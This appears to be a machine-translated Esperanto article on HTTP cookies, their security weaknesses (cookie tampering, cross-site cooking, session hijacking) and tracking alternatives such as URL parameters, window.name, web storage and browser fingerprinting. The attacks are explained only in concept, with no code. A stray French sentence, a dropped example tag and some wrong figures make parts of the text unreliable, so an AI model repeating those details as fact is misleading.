Kiam la retumilo ricevas tian kuketon, ĝi devas uzi ĝin normale en la sekva HTTP-interŝanĝo, sed sen igi ĝin videbla al skriptoj ekzekutitaj ĉe la klienta flanko. La HttpOnly flago ne estas parto de iu oficiala teknika specifo, kaj ne estas efektivigita en ĉiuj retumiloj. Notu, ke nuntempe ne ekzistas maniero malhelpi la legadon kaj skribadon de sesiokuketoj per la XMLHTTPRequest-metodo.

Modifo de enhavo: atakanto sendas nevalidan kuketon al servilo, eventuale farita el valida kuketo sendita de la servilo.

Ŝanĝante kuketojn

Tuj kiam kuketoj devas esti konservitaj kaj resenditaj senŝanĝe al la servilo, atakanto povas modifi la valoron de la kuketoj antaŭ ol ili estas resenditaj al la servilo. Ekzemple, se kuketo enhavas la totalan valoron, kiun la uzanto devas pagi por la eroj metitaj en la butikĉaron de la vendejo, ŝanĝi ĉi tiun valoron eksponas la servilon al la risko ŝargi la atakanton malpli ol la komenca prezo. La procezo modifi la valoron de kuketoj nomiĝas kuketo venenado kaj povas esti uzata post kuketoŝtelo por igi la atakon konstanta.

En la metodo de superregado de kuketoj, la atakanto ekspluatas malfunkcion de la retumilo por sendi nevalidan kuketon al la servilo.

Plej multaj retejoj, tamen, nur konservas sean ID - hazarde generitan unikan nombron uzatan por identigi la seancan uzanton - en la kuketo mem, dum ĉiuj aliaj informoj estas konservitaj en la servilo. En ĉi tiu kazo, ĉi tiu problemo estas plejparte solvita.

Kuketo-traktado inter retejoj

Ĉiu retejo estas atendita havi siajn proprajn kuketojn, do unu retejo ne devus povi modifi aŭ krei kuketojn asociitajn kun alia retejo. Sekureca difekto de TTT-legilo povas permesi al malicaj retejoj malobei ĉi tiun regulon. La ekspluatado de tia difekto estas ofte referita kiel trans-eja kuirado. La celo de tiaj atakoj povas esti sesia ID-ŝtelo.

Uzantoj devas uzi la plej novajn versiojn de retumiloj en kiuj ĉi tiuj vundeblecoj estas preskaŭ forigitaj.

Konflikta stato inter kliento kaj servilo

La uzo de kuketoj povas generi kontraŭdiron inter la stato de la kliento kaj la stato stokita en la kuketo. Se la uzanto akiras kuketon kaj alklakas la butonon "Reen" de la retumilo, la stato de la retumilo ĝenerale ne estas la sama kiel antaŭ ĉi tiu akiro. Ekzemple, se la korbo de reta vendejo estas kreita per kuketoj, la enhavo de la korbo ne povas ŝanĝiĝi kiam la uzanto revenas al la retumila historio: se la uzanto premas butonon por aldoni artikolon en sia korbo kaj alklakas la "Reveni". ", la artikolo restas en ĉi tiu. Tio eble ne estas la intenco de la uzanto, kiu certe volas nuligi la aldonon de la artikolo. Ĉi tio povas konduki al nefidindeco, konfuzo kaj cimoj. Do retaj programistoj devus konscii ĉi tiun problemon kaj efektivigi mezurojn por trakti tiajn situaciojn.

Kuketo eksvalidiĝo

Konstantaj kuketoj estis kritikitaj de fakuloj pri privateca sekureco pro tio, ke ili ne sufiĉe baldaŭ eksvalidiĝos, tiel permesante al retejoj spuri uzantojn kaj konstrui sian profilon laŭlonge de la tempo. Ĉi tiu aspekto de kuketoj ankaŭ estas parto de la problemo pri sesiokaptado, ĉar ŝtelita konstanta kuketo povas esti uzata por personigi uzanton dum konsiderinda tempodaŭro.

Legi ankaŭ: GAFAM: kiuj ili estas? Kial ili (foje) tiom timigas?

Alternativoj al kuketoj

Iuj operacioj, kiuj povas esti faritaj per kuketoj, ankaŭ povas esti faritaj per aliaj mekanismoj, kiuj ebligas malhavi kuketojn aŭ rekrei forigitajn kuketojn, kio kreas privatecajn problemojn same (aŭ foje pli malbonaj ĉar tiam nevideblaj) ol kuketoj.

IP-adreso

Uzantoj povas esti spuritaj per la IP-adreso de la komputilo vokanta la paĝon. Ĉi tiu tekniko estas disponebla ekde la enkonduko de la Tutmonda Reto, ĉar paĝoj estas elŝutitaj la servilo petas la IP-adreson de la komputilo prizorganta la retumilon aŭ prokurilon, se neniu estas uzata. La servilo povas spuri ĉi tiujn informojn ĉu aŭ ne estas kuketoj uzataj. Tamen, tiuj adresoj estas tipe malpli fidindaj en identigado de uzanto ol kuketoj ĉar komputiloj kaj prokuriloj povas esti dividitaj fare de multoblaj uzantoj, kaj la sama komputilo povas ricevi malsaman IP-adreson sur ĉiu laborsesio (kiel ekzemple c ofte la kazo por telefonligoj) .

Spurado per IP-adresoj povas esti fidinda en iuj situacioj, kiel larĝbendaj konektoj, kiuj konservas la saman IP-adreson dum longa tempo, kondiĉe ke potenco estas ŝaltita.

Iuj sistemoj kiel Tor estas dizajnitaj por konservi la anonimecon de la Interreto kaj fari spuradon per IP-adreso neebla aŭ nepraktika.

URL

Pli preciza tekniko baziĝas sur enigado de informoj en URL-oj. La konsultŝnuro parto de la URL estas unu tekniko kiu estas kutime uzita por tiu celo, sed aliaj partoj povas esti uzataj ankaŭ. Kaj la Java servileto kaj la PHP-seancaj mekanismoj uzas ĉi tiun metodon se kuketoj ne estas ebligitaj.

Ĉi tiu metodo implikas la retservilon almetante ĉenpetojn al la ligiloj de la retpaĝo kiu portas ĝin kiam ĝi estas sendita al la retumilo. Kiam la uzanto sekvas ligilon, la retumilo resendas la ligitan demandŝnuron al la servilo.

Demandaj ĉenoj uzataj por ĉi tiu celo kaj kuketoj estas tre similaj, ambaŭ estante informoj arbitre elektitaj de la servilo kaj redonitaj de la retumilo. Tamen, estas kelkaj diferencoj: kiam URL enhavanta demandan ĉenon estas reuzata, la sama informo estas sendita al la servilo. Ekzemple, se la preferoj de uzanto estas koditaj en demandŝnuro de URL, kaj la uzanto sendas tiun URL al alia uzanto per retpoŝto, tiu uzanto ankaŭ povos uzi tiujn preferojn.

Aliflanke, kiam uzanto aliras la saman paĝon dufoje, ne estas garantio, ke la sama demandŝnuro estos uzata ambaŭfoje. Ekzemple, se uzanto alteriĝas sur paĝon de interna retejo-paĝo la unuan fojon kaj surteriĝas sur la sama paĝo de ekstera paĝo la duan fojon, la demandŝnuro rilate al la retejo-paĝo estas tipe malsama, dum la kuketoj estas la samaj. .

Aliaj malavantaĝoj de demandŝnuroj estas rilataj al sekureco: konservi datenojn kiuj identigas sesion en demandŝnuroj ebligas aŭ simpligas sesiajn fiksatakojn, identigilreferencatakojn, kaj aliajn ekspluatojn. Transdono de seancaj identigiloj kiel HTTP-kuketoj estas pli sekura.

Kaŝita formulara kampo

Unu formo de sesiospurado, uzata de ASP.NET, estas uzi retformularojn kun kaŝitaj kampoj. Ĉi tiu tekniko estas tre simila al uzado de URL-demandoŝnuroj por porti informojn kaj havas la samajn avantaĝojn kaj malavantaĝojn; kaj se la formularo estas procesita per la HTTP GET-metodo, la kampoj efektive fariĝas parto de la URL de la retumilo, kiu sendos ĝin dum sendado de la formularo. Sed la plej multaj formoj estas prilaboritaj per HTTP POST, kio kaŭzas ke la formularaj informoj, inkluzive de kaŝitaj kampoj, estas aldonitaj kiel aldona enigo, kiu estas nek parto de la URL nek kuketo.

Ĉi tiu aliro havas du avantaĝojn de spura perspektivo: unue, spuri la informojn metita en la HTML-fontokodo kaj POST-enigo prefere ol la URL permesos al la meza uzanto eviti ĉi tiun spuradon; due, la sesiinformoj ne estas kopiitaj kiam la uzanto kopias la URL (por konservi la paĝon al disko aŭ sendi ĝin per retpoŝto, ekzemple).

fenestro.nomo

Ĉiuj komunaj retumiloj povas stoki sufiĉe grandan kvanton da datumoj (2MB ĝis 32MB) per JavaScript uzante la posedaĵon window.name de DOM. Ĉi tiuj datumoj povas esti uzataj anstataŭ sesiokuketoj kaj ankaŭ estas uzataj tra domajnoj. La tekniko povas esti kunligita kun JSON-objektoj por stoki kompleksan aron de klientflankaj sesiovariabloj.

La malavantaĝo estas, ke ĉiu aparta fenestro aŭ langeto komence havos malplenan fenestron.name; kiam foliumas per langetoj (malfermitaj de la uzanto) tio signifas, ke la langetoj malfermitaj individue ne havos fenestronomon. Aldone window.name povas esti uzata por spuri vizitantojn tra malsamaj retejoj, kiuj povas kaŭzi privatecan problemon.

En iuj rilatoj ĉi tio povas esti pli sekura ol kuketoj, pro la neokupiĝo de la servilo, tiel igante ĝin nevundebla al la reta atako de snufer-kuketoj. Tamen, se oni prenas specialajn mezurojn por protekti la datumojn, ĝi estas vundebla al pliaj atakoj, ĉar la datumoj disponeblas per aliaj retejoj malfermitaj en la sama fenestro.

HTTP-aŭtentikigo

La HTTP-protokolo inkluzivas la bazajn protokolojn pri aliraj aŭtentikigadoj kaj la alirkonfirmodigesto, kiu permesas aliron al retpaĝo nur kiam la uzanto donis la uzantnomon kaj pasvorton. Se la servilo petas atestilon por doni aliron al retpaĝo, la retumilo petas ĝin de la uzanto kaj post akirite, la retumilo konservas ĝin kaj sendas ĝin en ĉiuj postaj HTTP-petoj. Ĉi tiu informo povas esti uzata por spuri la uzanton.

Loka komuna objekto

Se retumilo inkluzivas la kromprogramon Adobe Flash Player, la lokaj komunaj objektoj povas esti uzata por la sama celo kiel kuketoj. Ili povas esti alloga elekto por retaj programistoj ĉar:

• la defaŭlta grandlimo por loka komuna objekto estas 100 KB;
• sekureckontroloj estas apartaj de uzantkuketaj kontroloj (do lokaj komunaj objektoj povas esti permesitaj kiam kuketoj ne estas).

Ĉi tiu lasta punkto, kiu distingas la politikon pri administrado de kuketoj de tiu de la lokaj komunaj objektoj de Adobe levas demandojn pri la administrado de la uzanto de siaj privatecaj agordoj: li devas konscii, ke lia administrado de kuketoj ne efikas sur la administrado de lokaj komunaj objektoj, kaj inverse.

Alia kritiko de ĉi tiu sistemo estas, ke ĝi povas esti uzata nur per la kromaĵo Adobe Flash Player, kiu estas proprieta kaj ne interreta normo.

Kliento-flanka persisto

Kelkaj retumiloj subtenas skript-bazitan persistan mekanismon, kiu permesas al la paĝo stoki informojn loke por posta uzo. Internet Explorer, ekzemple, subtenas konstantajn informojn en retumila historio, legosignoj, en formato stokita en XML, aŭ rekte kun retpaĝo konservita al disko. Por Microsoft Internet Explorer 5, ekzistas uzant-datuma metodo disponebla per DHTML-kondutoj.

La W3C enkondukis en HTML 5 novan JavaScript API por klientflanka datumstokado nomita Reteja stokado kaj celis konstante anstataŭigi kuketojn. Ĝi similas al kuketoj sed kun multe plibonigita kapacito kaj sen konservi informojn en la kaplinio de HTTP-petoj. La API permesas du specojn de retstokado: loka stokado kaj sesiostokado, simila al konstantaj kuketoj kaj sesiokuketoj (krom ke sesiokuketoj eksvalidiĝas kiam la retumilo estas fermita dum sesiostokado eksvalidiĝas kiam la langeto estas fermita), respektive. Reta stokado estas subtenata de Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 kaj Opera 10.50.

Malsama mekanismo normale dependas de retumila kaŝmemoro (en memoro prefere ol refreŝiĝo) uzante JavaScript-programojn en retpaĝoj. 

Ekzemple, paĝo povas enhavi la etikedon . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

Je ĉi tiu punkto, la programo restas en kaŝmemoro kaj la vizitita paĝo ne estas reŝargita duan fojon. Sekve, se la programo enhavas tutmondan variablon (ekzemple var id = 3243242;), ĉi tiu identigilo restas valida kaj povas esti ekspluatata per alia JavaScript-kodo post kiam la paĝo estas ŝarĝita denove, aŭ post kiam paĝo liganta la programon estas ŝarĝita. 

La plej grava malavantaĝo de ĉi tiu metodo estas ke la JavaScript tutmonda variablo devas esti senmova, kio signifas, ke ĝi ne povas esti ŝanĝita aŭ forigita kiel kuketo.

TTT-legilo fingrospuro

Retumila fingrospuro estas informoj kolektitaj pri la agordaj agordoj de retumilo por identigaj celoj. Ĉi tiuj fingrospuroj povas esti uzataj por plene aŭ parte identigi interretan uzanton aŭ aparaton eĉ kiam kuketoj estas malŝaltitaj.

Bazaj informoj pri agordo de retumilo estas delonge kolektitaj de retejaj spektantaro-servoj kun la celo precize mezuri homan rettrafikon kaj detekti diversajn formojn de klakfraŭdo. Kun la helpo de klientflankaj skriptlingvoj, multe pli preciza informkolektado estas nun eblas.

Konverti ĉi tiun informon en etan ŝnuron produktas aparaton fingrospuron. En 2010, la Electronic Frontier Foundation (EFF) mezuris la entropion de la fingrospuro de retumilo por esti almenaŭ 18,1 bitoj, kaj tio estis antaŭ ol progresoj en kanvasa fingrospurado aldonis 5,7 bitojn al tiu entropio.

Kuketoj en malmultaj vortoj

Kuketoj estas malgrandaj tekstaj dosieroj stokitaj de la TTT-legilo sur la malmola disko de vizitanto de retejo kaj kiuj estas uzataj (interalie) por registri informojn pri la vizitanto aŭ ilia vojaĝo tra la retejo. La retejestro povas tiel rekoni la kutimojn de vizitanto kaj personecigi la prezenton de sia retejo por ĉiu vizitanto; kuketoj tiam ebligas memori kiom da artikoloj montri en la hejmpaĝo aŭ eĉ konservi la ensalutajn akreditaĵojn por iu ajn privata partio: kiam la vizitanto revenas al la retejo, ne plu necesas, ke li tajpu sian nomon kaj pasvorton por estu rekonitaj, ĉar ili estas aŭtomate legitaj en la kuketo.

Kuketo havas limigitan vivdaŭron, fiksitan de la retejo-projektisto. Ili ankaŭ povas eksvalidiĝi ĉe la fino de la sesio en la retejo, kio respondas al la fermo de la retumilo. Kuketoj estas vaste uzataj por faciligi la vivon al vizitantoj kaj prezenti al ili pli gravajn informojn. Sed specialaj teknikoj ebligas sekvi vizitanton sur pluraj retejoj kaj tiel kolekti kaj kruckontroli tre ampleksajn informojn pri liaj kutimoj. Ĉi tiu metodo donis al la uzo de kuketoj reputacion kiel gvata tekniko, kiu malobservas la privatecon de vizitantoj, kiu bedaŭrinde respondas al la realo en multaj kazoj de uzo pro ne-teknikaj kialoj aŭ ne respekta la atendojn de la uzanto. .

Responde al ĉi tiuj legitimaj timoj, HTML 5 enkondukas novan JavaScript API por klient-flanka stokado de datumoj nomitaj Reta stokado, kiu estas multe pli sekura kaj kun pli granda kapablo, kiu celas anstataŭigi kuketojn.

Stokado de kuketoj

Kun iuj retumiloj, kuketo estas facile redaktebla, simpla tekstredaktilo kiel Notepad sufiĉas por ŝanĝi ĝiajn valorojn permane.

Kuketoj estas konservitaj malsame depende de la retumilo:

• Microsoft Interreto Explorer konservas ĉiun kuketon en malsama dosiero;
• Mozilla Firefox konservas ĉiujn ĝiajn kuketojn en ununura dosiero;
• opero konservas ĉiujn ĝiajn kuketojn en ununura dosiero kaj ĉifras ilin (neeble modifi ilin krom en la programaraj opcioj);
• Apple Safari konservas ĉiujn ĝiajn kuketojn en ununura etendodosiero .plist. Modifo eblas sed ne tre facila, krom se vi trapasas la programajn elektojn.

Retumiloj estas postulataj por subteni a minimumoj :

• 300 samtempaj kuketoj;
• 4 o per kuketo;
• 20 kuketoj per gastiganto aŭ domajno.